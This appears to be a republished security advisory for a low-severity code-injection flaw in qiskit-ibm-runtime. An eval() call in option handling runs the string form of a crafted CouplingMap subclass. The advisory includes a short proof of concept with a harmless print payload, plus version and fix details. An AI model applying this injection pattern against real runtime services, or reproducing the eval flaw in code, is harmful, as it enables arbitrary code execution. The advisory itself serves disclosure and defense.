Low

Dynamic Variable Evaluation in qiskit-ibm-runtime

  • Disclosed: 20.03.2024
  • Updated: 11.10.2026 12:18

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140

PoC

A local exploit would be something like

python
from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

python
from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) qiskit-ibm-runtime >= 0.11.0, < 0.11.1 0.11.1

References

CVSS score 2.8/10
CVSS vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
Weakness (CWE)
CWE-627
Platform
Python (PyPI)
Package
qiskit-ibm-runtime
Disclosed
20.03.2024
Updated
11.10.2026 12:18

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cq96-9974-v8hm - CC BY 4.0

Vulnerability history: qiskit-ibm-runtime

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
03.2024 03.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 1
  • Low 1

Disclosures per year

  1. 2024: 2
  2. 2025: 0
  3. 2026: 0
  1. Medium · 5.3 CVE-2024-29032 >= 0.1.0, < 0.21.2 0.21.2
  2. Dynamic Variable Evaluation in qiskit-ibm-runtime this entry
    Low · 2.8 ghsa-cq96-9974-v8hm >= 0.11.0, < 0.11.1 0.11.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.